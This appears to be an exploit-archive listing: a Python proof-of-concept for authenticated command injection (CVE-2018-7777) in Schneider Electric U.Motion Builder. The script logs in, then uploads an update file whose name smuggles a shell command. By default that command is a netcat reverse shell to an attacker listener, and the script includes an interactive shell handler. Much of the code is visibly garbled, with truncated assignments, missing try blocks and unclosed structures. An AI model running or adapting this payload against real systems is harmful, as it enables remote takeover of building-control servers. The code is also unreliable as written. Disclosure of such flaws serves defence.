Schneider Electric U.Motion Builder 1.3.4 Command Injection

Schneider Electric U.Motion Builder versions 1.3.4 and below authenticated remote command injection exploit.

MD5 | c3c4ba44db6b68838bb3d2e7895547e5

# Exploit Title: Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection
# Date: 2018-08-01
# Exploit Author: Cosmin Craciun
# Vendor Homepage:
# Version: <= 1.3.4
# Tested on: Delivered Virtual Appliance running on Windows 10 x64
# CVE : CVE-2018-7777
# References:


from __future__ import print_function
import httplib
import urllib
import argparse
import re
import sys
import socket
import threading
import time

parser = argparse.ArgumentParser(description='PoC')
parser.add_argument('--target', help='IP or hostname of target', required=True)
parser.add_argument('--port', help='TCP port the target app is running', required=True, default='8080')
parser.add_argument('--username', help='TCP port the target app is running', required=True, default='admin')
parser.add_argument('--password', help='TCP port the target app is running', required=True, default='admin')
parser.add_argument('--command', help='malicious command to run', default='shell')
parser.add_argument('--src_ip', help='IP of listener for the reverse shell', required=True)
parser.add_argument('--timeout', help='time in seconds to wait for a response', type=int, default=3)

class Exploiter(threading.Thread):
def __init__ (self, target, port, timeout, uri, body, headers, shell_mode):
threading.Thread.__init__(self) = target
self.port = port
self.timeout = timeout
self.uri = uri
self.body = body
self.headers = headers
self.shell_mode = shell_mode

def send_exploit(self, target, port, timeout, uri, body, headers):
print('Sending exploit ...')
conn = httplib.HTTPConnection("{0}:{1}".format(target, port), timeout=timeout)
conn.request("POST", uri, body, headers)
print("Exploit sent")
if not self.shell_mode: print("Getting response ...")

response = conn.getresponse()
if not self.shell_mode: print(str(response.status) + " " + response.reason)
data =
if not self.shell_mode: print('Response: {0}\r\nCheck the exploit result'.format(data))

except socket.timeout:
if not self.shell_mode: print("Connection timeout while waiting response from the target.\r\nCheck the exploit result")

def run(self):
self.send_exploit(, self.port, self.timeout, self.uri, self.body, self.headers)

class Listener(threading.Thread):
def __init__(self, src_ip):
self.src_ip = src_ip

def run(self):

def listen(self, src_ip):
TCP_IP = src_ip
TCP_PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
print("Listener open on port {0}".format(TCP_PORT))

conn, addr = s.accept()
print('Exploited: ' + str(addr))

while 1:
comm = raw_input("shell$ ").strip()
if comm == "quit":

if comm != "":
conn.send(comm + " 2>&1" + "\x0a")
while 1:
data = conn.recv(BUFFER_SIZE)
if not data: break
print(data, end="")
if "\x0a" in data: break

except Exception as ex:
print("Could not start listener")

def login(target, port, username, password):
uri = "http://{0}:{1}/umotion/modules/system/user_login.php".format(target, port)

params = urllib.urlencode({
'username': username,
'password': password,
'rememberMe': '1',
'context': 'configuration',
'op': 'login'

headers = {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "*/*"

conn = httplib.HTTPConnection("{0}:{1}".format(target, port))
conn.request("POST", uri, params, headers)
response = conn.getresponse()
print(str(response.status) + " " + response.reason)
data =
except socket.timeout:
print("Connection timeout while logging in. Check if the server is available")

cookie = response.getheader("Set-Cookie")

r = re.match(r'PHPSESSID=(.{26});.*loginSeed=(.{32})', cookie)
if r is None:
print("Regex not match, could not get cookies")

if len(r.groups()) < 2:
print("Error while getting cookies")

sessid = r.groups()[0]
login_seed = r.groups()[1]

return sessid, login_seed


def encode_multipart_formdata(fields, files):
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
CRLF = '\r\n'
L = []
for (key, value) in fields:
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
for (key, filename, value) in files:
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: application/x-gzip')
L.append('--' + LIMIT + '--')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % LIMIT
return content_type, body

def exploit(target, port, username, password, command, timeout):
uri = "http://{0}:{1}/umotion/modules/system/update_module.php".format(target, port)

fields = [
('choose_update_mode', 'MANUAL'),
('add_button', '0'),
('format', 'json'),
('step', '2'),
('next', '1'),
('name_update_file', ''),
('path_update_file', ''),
('type_update_file', '')

listener = None
if command == "shell":
shell_mode = True
command = "nc -e $SHELL {0} 4444".format(args.src_ip)
listener = Listener(args.src_ip)
shell_mode = False

files = [
('update_file', 'my;{0};file.tar.gz'.format(command), "\x1f\x8b")

content_type, body = encode_multipart_formdata(fields, files)

if not shell_mode or (shell_mode and listener and listener.isAlive()):
print('Logging in ...')
sess_id, login_seed = login(target, port, username, password)
if sess_id is None or login_seed is None:
print('Error while logging in')

print('Logged in ! ')

headers = {
'Accept': 'application/json,text/javascript,*/*; q=0.01',
'Accept-Encoding': 'gzip,deflate',
'Referer': 'http://{0}:{1}/umotion/modules/system/externalframe.php?context=configuration'.format(target, port),
'X-Requested-With': 'XMLHttpRequest',
'Content-Length': len(body),
'Content-Type': content_type,
'Connection': 'keep-alive',
'Cookie': 'PHPSESSID={0}; loginSeed={1}'.format(sess_id, login_seed)

exploiter = Exploiter(target, port, timeout, uri, body, headers, shell_mode)

if __name__ == '__main__':
args = parser.parse_args()
exploit(, args.port, args.username, args.password, args.command, args.timeout)

Related Posts